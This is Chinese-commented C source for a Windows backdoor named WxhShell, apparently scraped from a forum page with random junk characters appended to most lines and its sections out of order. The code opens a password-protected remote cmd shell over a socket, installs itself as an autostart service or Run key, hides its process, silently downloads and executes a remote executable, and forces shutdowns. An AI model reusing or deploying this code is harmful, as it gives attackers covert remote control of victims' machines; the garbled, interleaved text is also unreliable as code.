    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ABiC9[Q0  
    else { j;0ih_Z@4W  
    closesocket(wsh); iPFL"v<#J  
    ExitThread(0); M7 p8^NL  
    } jeFN*r _  
    break; m+$/DD^-zl  
    } &!#2ZJ}{  
  // 获取shell [f(uqLdeM  
  case 's': { #_p  
    CmdShell(wsh); r%[1$mTOR  
    closesocket(wsh); lm &^tjx  
    ExitThread(0); +3?`M<L0  
    break; R#fy60  
  } ;y>'yq}  
  // 退出 Jk~UEqr+  
  case 'x': { >Jiij  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jaa/k@OG  
    CloseIt(wsh); 8l?w=)Qy  
    break; /C7svH  
    } Ns~ g+C9  
  // 离开 G;9|%yvd8  
  case 'q': { {.#j1r4J`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z (#Xca  
    closesocket(wsh); |+mOH#Aty  
    WSACleanup(); 5:_~mlfi  
    exit(1); bXm :]?  
    break; g`{Dxb,t  
        } |@q9{h7  
  } B{4"$Mi  
  } 5Q;dnC  
[wIKK/O  
  // 提示信息 AG=9b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 69OET_AS>  
} XWf7"]%SX  
  } @2|G|C/]O}  
*|CLO|B)  
  return; &0i71!Oy  
} * T\>  
$uTlbAuv  
// shell模块句柄 lk~dgky@  
int CmdShell(SOCKET sock) K9}jR@jy$  
{ HMQ 'b(a'  
STARTUPINFO si; {'&8`d  
ZeroMemory(&si,sizeof(si)); _32/WQF6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LNbx3W oC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |oFI[PE  
PROCESS_INFORMATION ProcessInfo; O{*GW0}55  
char cmdline[]="cmd"; /o'oF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M+\rX1T  
  return 0; >pa\n9=Q^  
} f0g6g!&gf  
=X<)5IS3  
// 自身启动模式 xz="|HD);  
int StartFromService(void) BMe72  
{ myffYK,  
typedef struct T+3k$G[e/  
{ 3me<~u  
  DWORD ExitStatus; $<14JEU  
  DWORD PebBaseAddress; XuA0.b%  
  DWORD AffinityMask; e ^-3etx  
  DWORD BasePriority; ul}4p{ m[  
  ULONG UniqueProcessId; vN' VDvVM  
  ULONG InheritedFromUniqueProcessId; K"G(?<>~4c  
}   PROCESS_BASIC_INFORMATION; f};!m=b  
#<D@3ScC  
PROCNTQSIP NtQueryInformationProcess; US"2O!u  
rg"TJ"Q-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5=Zp%[ #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0>8ZN!@K  
:R{x]sv  
  HANDLE             hProcess; u;QH8LK  
  PROCESS_BASIC_INFORMATION pbi; 4$qNcMdz  
[Aa[&RX+9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +q$xw}+PK  
  if(NULL == hInst ) return 0; 1+VY><=n  
P~n8EO1r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CuF%[9[cT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,,zd.9n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _95- -\  
;sm"\.jF  
  if (!NtQueryInformationProcess) return 0; !XkymIX~O.  
b*@&c9I;q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0@JilGk1u  
  if(!hProcess) return 0; (X0`1s  
$(Z]TS$M&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G*8+h  
cA2^5'$$  
  CloseHandle(hProcess); s0_-1VU  
ab8oMi`z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m*Q[lr=  
if(hProcess==NULL) return 0; Q@ykQ  
L?AM&w-cg9  
HMODULE hMod; -ryDsq  
char procName[255]; Ty g$`\#   
unsigned long cbNeeded; TW'E99wG  
/>2A<{6\=P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ocb%&m ;i  
:|*Gnu  
  CloseHandle(hProcess); ~| 4U@  
a3b2nAIl  
if(strstr(procName,"services")) return 1; // 以服务启动 )< &B&Hp  
n1fE daa7g  
  return 0; // 注册表启动 Ec7{BhH)  
} #i}#jMT  
u|]mcZ,ZW  
// 主模块 ;:#?~%7>  
int StartWxhshell(LPSTR lpCmdLine) zgEr,nF  
{ $gj+v+%N  
  SOCKET wsl; l044c,AW(  
BOOL val=TRUE; -6hu31W  
  int port=0; ,yB?~  
  struct sockaddr_in door; Uxj<x`<1x  
1]D/3!  
  if(wscfg.ws_autoins) Install(); GFASF,+  
X+?Il)Bv  
port=atoi(lpCmdLine); =UI,+P:  
}a #b$]Y  
if(port<=0) port=wscfg.ws_port; .!7Fe)(x  
$M}k%Z  
  WSADATA data; Ak %no3:9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b@{%qh ,C  
2|T|K?R^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *_2O*{V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GY0XWUlC  
  door.sin_family = AF_INET; oP43NN~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4U LJtM3  
  door.sin_port = htons(port); Z=e[ !c  
s/W!6JX4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pQ[o3p!&9  
closesocket(wsl); !_^ {udB}  
return 1; v;N1'  
} @&i#S}%/  
+7U  A%q  
  if(listen(wsl,2) == INVALID_SOCKET) { !R] CmK  
closesocket(wsl); 6,V.j>z  
return 1; A9fjMnw  
} m-Z'K_oQ  
  Wxhshell(wsl); c1)BGy li  
  WSACleanup(); 4acP*LkkQ  
9" }^SI8  
return 0; Z,N7nMJf  
LoV*YSDAY  
} ,\m;DR1  
[+:mt</HN  
// 以NT服务方式启动 3;t@KuQ66  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K&\BwBU  
{ ^cPo{xf  
DWORD   status = 0; F=*BvI "+  
  DWORD   specificError = 0xfffffff; }K#&5E  
l7D4`i<F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j"D0nG,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "S{6LWkD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NejsI un%  
  serviceStatus.dwWin32ExitCode     = 0; k #,Gfs  
  serviceStatus.dwServiceSpecificExitCode = 0; w ufKb.4`  
  serviceStatus.dwCheckPoint       = 0; i$ fjr[$B  
  serviceStatus.dwWaitHint       = 0; 1S)0 23N  
Fb\2df{@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9m#H24{V'  
  if (hServiceStatusHandle==0) return; 9 +N._u  
+lDGr/  
status = GetLastError(); ![X.%  
  if (status!=NO_ERROR) ]Nd'%M  
{ tx|"v|&e2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mAYr<=  
    serviceStatus.dwCheckPoint       = 0; X"qbB4 (I  
    serviceStatus.dwWaitHint       = 0; 6%tiB?  
    serviceStatus.dwWin32ExitCode     = status; oRvm*"8B  
    serviceStatus.dwServiceSpecificExitCode = specificError; x#}j3" PP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  2U+z~  
    return; :+gCO!9Y  
  } q*<J $PI  
MSYLkQ}_b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eqUn8<<s  
  serviceStatus.dwCheckPoint       = 0; 0-&s J  
  serviceStatus.dwWaitHint       = 0; 5Ky9Pz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e G*s1uQl  
} w'!}(Z5X?  
[r~rIb%Zj  
// 处理NT服务事件,比如:启动、停止  \3y=0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #`6OC)1J  
{ HS5Ug'\446  
switch(fdwControl) WKYA9BaR  
{ }v(H E%~}  
case SERVICE_CONTROL_STOP: \.{pZMM  
  serviceStatus.dwWin32ExitCode = 0; ?+}E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GD6'R"tJ  
  serviceStatus.dwCheckPoint   = 0; <g|nmu)o$  
  serviceStatus.dwWaitHint     = 0; x"C93ft[  
  { BB73' W8y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); te)g',#lT  
  } ~i_ R%z:y  
  return; B"E(Y M  
case SERVICE_CONTROL_PAUSE:  JY050FL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Velbq  
  break; ,n,7.m.D  
case SERVICE_CONTROL_CONTINUE: ;uWI l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1rm$@L  
  break; omUl2C  
case SERVICE_CONTROL_INTERROGATE: ;ZqD60%\  
  break; CsST-qxg  
}; ][$$  =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yn ?U7`V  
} ywsz"/=@  
['N#aDh.?  
// 标准应用程序主函数 UXdC<(vK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *!7SM 7  
{ @l6 dJ  
C7*Yg$`{  
// 获取操作系统版本 0?4^.N n3  
OsIsNt=GetOsVer();  V\7u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bM3'm$34  
2Nt]Nj`  
  // 从命令行安装 *}WqYqOow  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?$8 ,j+&I  
}"; hz*a  
  // 下载执行文件 &MGgO\|6  
if(wscfg.ws_downexe) { 5bqYi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rx"VscB6z  
  WinExec(wscfg.ws_filenam,SW_HIDE); K v>#  
} <wGT s6  
b!tZbX#  
if(!OsIsNt) { u #QSa$P  
// 如果时win9x,隐藏进程并且设置为注册表启动 s].Cx4VQ  
HideProc(); wYxFjXm  
StartWxhshell(lpCmdLine); -3XnK5  
} vR.6^q  
else _q!ck0_  
  if(StartFromService()) ^~k FC/tQ  
  // 以服务方式启动 58gt*yVu  
  StartServiceCtrlDispatcher(DispatchTable); YwTtI ID%  
else <h>fip3o  
  // 普通方式启动 C g,w6<7  
  StartWxhshell(lpCmdLine); Q^5 t]HKn  
AE@Rn(1.  
return 0; ;og<eK  
} K>p:?w  
#S74C*'8  
a{YVz\?d}  
HE .Dl7 {  
=========================================== [8g\pPQ  
t $ ~:C  
sU3V)7"  
 [ ^ \)  
T//+&Sk[  
8{^GC(W{]  
" |vE#unA  
*m Tc4&*  
#include <stdio.h> n6+M qN  
#include <string.h> 7`n8 OR4  
#include <windows.h> `)_FO]m}jS  
#include <winsock2.h> Z s!q#qM  
#include <winsvc.h> #Yb9w3N  
#include <urlmon.h> N@ tb^M  
~9 nrS9)  
#pragma comment (lib, "Ws2_32.lib") k5<0M'  
#pragma comment (lib, "urlmon.lib") 9 CSz<[  
QLLV OJi  
#define MAX_USER   100 // 最大客户端连接数 fO|u(e  
#define BUF_SOCK   200 // sock buffer XSIO0ep  
#define KEY_BUFF   255 // 输入 buffer Ppn ZlGQ6  
E)SOcM)  
#define REBOOT     0   // 重启 $w}aX0dK&  
#define SHUTDOWN   1   // 关机 % ieAY-<"  
Z.f<6<gF  
#define DEF_PORT   5000 // 监听端口 J\},o|WI  
F#9KMu<<cI  
#define REG_LEN     16   // 注册表键长度 l@9:V hU(  
#define SVC_LEN     80   // NT服务名长度 _E-GHj>k z  
SQCuY<mD  
// 从dll定义API *J- jr8&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N^j''siB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z@LP9+?dE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )CU(~s|s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U}5KAi 9Z  
g)Uh   
// wxhshell配置信息 Z.19v>-c  
struct WSCFG { k.hSN8  
  int ws_port;         // 监听端口 r!=VV!XZ  
  char ws_passstr[REG_LEN]; // 口令 >@\-m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~#xRoBy3  
  char ws_regname[REG_LEN]; // 注册表键名 +1A<kJ  
  char ws_svcname[REG_LEN]; // 服务名 z(a:fL{/XG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oz r+6z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \%*y+I0>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ucO]&'hu:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @J)vuGS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aesFv)5DK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j|w+=A1  
Fs~-exY1  
}; `hhG^ O_  
ot6 P q}  
// default Wxhshell configuration Mqy`j9FbL  
struct WSCFG wscfg={DEF_PORT, e$h\7i:(  
    "xuhuanlingzhe", )HHzvGsL)  
    1, \/G Y0s  
    "Wxhshell", x F#)T *  
    "Wxhshell", y%AJ>@/;  
            "WxhShell Service", Ved:w^ ,  
    "Wrsky Windows CmdShell Service", R["7%|RV  
    "Please Input Your Password: ", YEj U3^@  
  1, mLqm83  
  "http://www.wrsky.com/wxhshell.exe", h)8_sC  
  "Wxhshell.exe" 4]R3*F  
    }; &!Vp'l\9  
`w }"0+V  
// 消息定义模块 19DW~kvYk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |F`'m":$m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XQPJ(.G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T@XiG:b7  
char *msg_ws_ext="\n\rExit."; o%iTYR :x  
char *msg_ws_end="\n\rQuit."; /cn_|DwN5  
char *msg_ws_boot="\n\rReboot..."; Gz:a1-x  
char *msg_ws_poff="\n\rShutdown..."; cPSpPx  
char *msg_ws_down="\n\rSave to "; a{=~#u8  
4RNzh``u  
char *msg_ws_err="\n\rErr!"; }"v "^5  
char *msg_ws_ok="\n\rOK!"; >XN&Q VE  
j3U8@tuG  
char ExeFile[MAX_PATH]; x$*OglaS  
int nUser = 0; aMWNZv  
HANDLE handles[MAX_USER]; P[~a'u  
int OsIsNt; :csLZqn[  
{s]eXc]K}  
SERVICE_STATUS       serviceStatus; gB#t"s)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :KwYuwYS  
i|e-N?l  
// 函数声明 g=wnly  
int Install(void);  LvaF4Y2v  
int Uninstall(void); +X%yF{^m(  
int DownloadFile(char *sURL, SOCKET wsh); X-)6.[9f  
int Boot(int flag); +$C5V,H ~  
void HideProc(void); xe' *%3-v)  
int GetOsVer(void); M'sJ5;^5  
int Wxhshell(SOCKET wsl); u/:@+rTV_  
void TalkWithClient(void *cs); #<:khs6  
int CmdShell(SOCKET sock); ;pJ7k23(  
int StartFromService(void); xb\lbS{ f  
int StartWxhshell(LPSTR lpCmdLine); r=;k[*;{  
M*Xzr .6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FqySnrJQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (msJ:SG  
&%<G2x$  
// 数据结构和表定义 nBd;d}LD  
SERVICE_TABLE_ENTRY DispatchTable[] = Cb<\  
{ F/h)azcn  
{wscfg.ws_svcname, NTServiceMain}, Z q)A"'Y  
{NULL, NULL} Bs*s8}6  
}; 8in8_/x  
LdL< 5Q[  
// 自我安装 /}wGmX! -!  
int Install(void) ygHNAQG~  
{ &f$jpIyVX  
  char svExeFile[MAX_PATH]; !#QD;,SE+  
  HKEY key; :Fh* 4 &Z  
  strcpy(svExeFile,ExeFile); LF8B5<[O  
@U,cj>K  
// 如果是win9x系统,修改注册表设为自启动 \VW.>@s~  
if(!OsIsNt) { \%#jT GFs~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ^(y4]yZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U}NNb GQj  
  RegCloseKey(key); lxbZM9A2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q;+qIV&.:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1-`8v[S  
  RegCloseKey(key); |dvcDx0|K  
  return 0; D*b> l_  
    } xJ4T7 )*  
  } iVA_a8}  
} k~R_Pq S  
else { JP#m} W  
-<.>jX  
// 如果是NT以上系统,安装为系统服务 x~ I cSt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RSy1 wp4W  
if (schSCManager!=0) XS>4efCJ  
{ J?{uG8)  
  SC_HANDLE schService = CreateService ?U&onGy  
  ( mY-r:  
  schSCManager, l`d=sOB^  
  wscfg.ws_svcname, 9,4a?.*4~  
  wscfg.ws_svcdisp, Bi]%bl>%  
  SERVICE_ALL_ACCESS, iC 2:P~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w!Z3EA;`  
  SERVICE_AUTO_START, ]>!]X*\9  
  SERVICE_ERROR_NORMAL, U`D"L4},.  
  svExeFile, H&I 0\upd  
  NULL, /IgTmXxxj  
  NULL, ~&g:7f|X  
  NULL, D+RG,8Ht  
  NULL, o9JJ_-O"  
  NULL }a8N!g  
  ); r3|vu"Uei  
  if (schService!=0) r]TeR$NJ  
  { mIOx)`$  
  CloseServiceHandle(schService); 2e+DUZBoC  
  CloseServiceHandle(schSCManager); | r2'B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O *CKyW_$t  
  strcat(svExeFile,wscfg.ws_svcname); :iq1-Pw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a XwFQ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4o'0lz]  
  RegCloseKey(key); n {M!l\1  
  return 0; dz?:)5>I  
    } zg]9~i8  
  } 'EXp[*  
  CloseServiceHandle(schSCManager); I\":L  
} \;4RD$J  
} RP6QS)|  
q0Fy$e]u  
return 1; WKP=[o^  
} iidK}<o  
=*t)@bn  
// 自我卸载 gq/q]Fm\  
int Uninstall(void) O -@7n0  
{ Hh,\>= ':  
  HKEY key; 8I JFQDGA9  
N'IzHyo.  
if(!OsIsNt) { T<!TmG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oA`Ncu5  
  RegDeleteValue(key,wscfg.ws_regname); pj'Yv  
  RegCloseKey(key); ="MG>4j3.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zvE]4}VL?  
  RegDeleteValue(key,wscfg.ws_regname); n{|~x":9V  
  RegCloseKey(key); :[! rj  
  return 0; r"^P>8  
  } i9$ -lk  
} B \BP:;"  
} yYF%U7N/n  
else { I~EJctOG  
/:l>yKI+~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a&9+<  
if (schSCManager!=0) L_O m<LO2  
{ )%P!<|s:5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0D=6-P?^W  
  if (schService!=0) nD|Bo 9  
  { ?z p$Wz;k  
  if(DeleteService(schService)!=0) {  zoA]7pG-  
  CloseServiceHandle(schService); 1Z|q0-Dw0  
  CloseServiceHandle(schSCManager); h ~v8Q_6  
  return 0; 90 (JP-  
  } ZxY%x/K  
  CloseServiceHandle(schService); Ee^2stc-  
  } XXvM*"3D5  
  CloseServiceHandle(schSCManager); -:Yx1Y3 [  
} y3 kXfSe  
} 0rooL<~fa  
5Q =o.wf  
return 1; |}=xA%)  
} bt"*@NJ$  
\K55|3~R  
// 从指定url下载文件 Xbe=_9l&p  
int DownloadFile(char *sURL, SOCKET wsh) rdSkGb  
{ 5@6F8:x}V  
  HRESULT hr; U%_BgLwy%  
char seps[]= "/"; WQK ~;GV-  
char *token; 7;5SK:X%dm  
char *file; Xnpw'<~X  
char myURL[MAX_PATH]; ;X*I,g.+H  
char myFILE[MAX_PATH]; :.J Ad$>P  
Gg8F>y<[R  
strcpy(myURL,sURL); l*^c?lp)  
  token=strtok(myURL,seps); u8 Q`la  
  while(token!=NULL) M:rE^El  
  { &( aw  
    file=token; .7_<0&kW  
  token=strtok(NULL,seps); 90X<Qs  
  } J4"?D9T3G  
&C6Z-bS"  
GetCurrentDirectory(MAX_PATH,myFILE); AhWcJD]  
strcat(myFILE, "\\"); 2Jm#3zFYz3  
strcat(myFILE, file); E.45 s? r  
  send(wsh,myFILE,strlen(myFILE),0); `r+zNJ@q  
send(wsh,"...",3,0); ~nDbWv"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gLy1*k4  
  if(hr==S_OK) Z^wogIAV  
return 0; wO.T"x%X  
else NU"Ld+gw  
return 1; &?"E"GH  
*: }9(8d  
} K !g!tA$  
Cj'X L}  
// 系统电源模块 zsOOx% +  
int Boot(int flag) b*Sw") #  
{ n%X5TJE  
  HANDLE hToken; 9(eTCe-~6  
  TOKEN_PRIVILEGES tkp; +6-_9qRq  
1UdET#\  
  if(OsIsNt) { rrz^LD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2D;2QdO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RA^6c![  
    tkp.PrivilegeCount = 1; kT^|%bB[i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3e,"B S)+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F}MjZZj(U=  
if(flag==REBOOT) { 29z$z$l4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E&G]R!  
  return 0; dT?mMTKn+  
} "!,)Pv  
else { #|-i*2@oR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A s"% u  
  return 0; VY G o;  
} DsX+/)d  
  } JP{Y Q:NF  
  else { ZW>iq M^9  
if(flag==REBOOT) { ~'lYQ[7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8GlRO4yd  
  return 0; VRE[ vM'  
} v-(dh5e` H  
else { T]oVNy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zPm|$d  
  return 0; *{<46 0`!q  
} CT{mzC8  
} 0(qtn9;=2  
4m1@lnjp  
return 1; <~z@G MQCf  
} Jo'~oZ$  
$&Lw 2 c0  
// win9x进程隐藏模块 2,'~'  
void HideProc(void) 6v?tZ&, G  
{ 5D+rR<pD}"  
FeL!%z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?uh%WN6nU]  
  if ( hKernel != NULL ) ,4mb05w;d  
  { F rd>+   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tf IUH'Ez>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SiLWy=qbR  
    FreeLibrary(hKernel); C[R|@9NI  
  } *)bh6b=7  
VW\xuP  
return; T3bYj|rh=  
} w5<&b1:  
aOhi<I`*  
// 获取操作系统版本 lK Ry4~O  
int GetOsVer(void) ROi_k4Fj  
{ &iO53I^r/  
  OSVERSIONINFO winfo; |BEoF[1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]kdU]}z  
  GetVersionEx(&winfo); +OaBA>Jh9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gY {/)"  
  return 1; 1EMrXnv,  
  else cC pNF `DN  
  return 0; ]?sw<D{  
} sjy/[.4-  
@HQqHO&N  
// 客户端句柄模块 Esdv+f}4;  
int Wxhshell(SOCKET wsl) xey?.2K1A  
{ * `3+x  
  SOCKET wsh; Owz>g4l r  
  struct sockaddr_in client; |33_="  
  DWORD myID; {Q021*xt/  
B-p ].  
  while(nUser<MAX_USER) M~U>" kX  
{ 0ky3rFSh1  
  int nSize=sizeof(client); 1VA%xOURh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lvb'qZ6n  
  if(wsh==INVALID_SOCKET) return 1; uWLf9D"  
Zx&=K"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $C t(M)  
if(handles[nUser]==0) efK WR  
  closesocket(wsh); KBI36=UV  
else NQx>u  
  nUser++; eIcIl2  
  } @NYlVk2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .h-k*F0Ga)  
g oZw![4l  
  return 0; >p29|TFbV  
} 04c`7[  
TBmmC}PEd  
// 关闭 socket F%I*m^7d  
void CloseIt(SOCKET wsh) N)EJP ~0  
{ +{\b&q_  
closesocket(wsh); PTpGZ2FZ  
nUser--; ~pw%p77)  
ExitThread(0); {# N,&?[  
} H<Zs2DP`  
r!c7{6N  
// 客户端请求句柄 GrA}T`]  
void TalkWithClient(void *cs) #]2,1dJ  
{ RY}:&vWDk  
.*Axr\x3  
  SOCKET wsh=(SOCKET)cs; wKE}BO >  
  char pwd[SVC_LEN]; W]5sqtF;6  
  char cmd[KEY_BUFF]; eC='[W<a.  
char chr[1]; $-uMWJ)l  
int i,j; ;y.<I&  
7Ga'FT.F  
  while (nUser < MAX_USER) { rT'<6]`  
Ubv_ a  
if(wscfg.ws_passstr) { Zr|\T7w 3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T^@P.zX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `aL4YH-v  
  //ZeroMemory(pwd,KEY_BUFF); iza.' Mm~  
      i=0; |?LUt@r;  
  while(i<SVC_LEN) { Vr KFpFd  
YR.f`-<Z  
  // 设置超时 Mb+CtI_'  
  fd_set FdRead; uDMyO<\  
  struct timeval TimeOut; SJO^.[  
  FD_ZERO(&FdRead); 2 W Wr./q  
  FD_SET(wsh,&FdRead); )QB9zl:  
  TimeOut.tv_sec=8; ogJ>`0 +J  
  TimeOut.tv_usec=0; 72sBx3 ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X?S LYm@v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -v~XS-F  
p><DA fB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `l-R?C?*!  
  pwd=chr[0]; xeSv+I-b  
  if(chr[0]==0xd || chr[0]==0xa) { ~2}^ -,  
  pwd=0; 2(>=@q.1H  
  break; eB5<N?;s  
  } tVHQ$jJY%  
  i++; zf A"xD  
    } `$>cQwB,D  
+||[H)qym  
  // 如果是非法用户,关闭 socket J Sms \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2KSt4oa  
} /i IWt\J  
*Edr\P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9S{?@*V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZowPga  
A5YS "i  
while(1) { <Q?_],ip  
fVxRK\a\\  
  ZeroMemory(cmd,KEY_BUFF); qD> D  
=ve, !  
      // 自动支持客户端 telnet标准   Nu6]R677Y  
  j=0; UY&DXIPM  
  while(j<KEY_BUFF) { (=w ff5U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0@2pw2{Ru  
  cmd[j]=chr[0]; hJ0m;j&4y  
  if(chr[0]==0xa || chr[0]==0xd) { fZt3cE\  
  cmd[j]=0; &:Sb$+z  
  break; K9Bi2/N  
  } #*;Nb  
  j++; l( ?Yx  
    } EhHW`  
} bEu+bZ  
  // 下载文件 ?r}!d2:dX  
  if(strstr(cmd,"http://")) { FUKE.Uxd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u^uo=/  
  if(DownloadFile(cmd,wsh)) 9Jp "E5Ql)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp%4{U/0`  
  else p&(~c/0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^g*/p[  
  } 2s8(r8AI  
  else { gfAVxMg  
qYR+qSAJP  
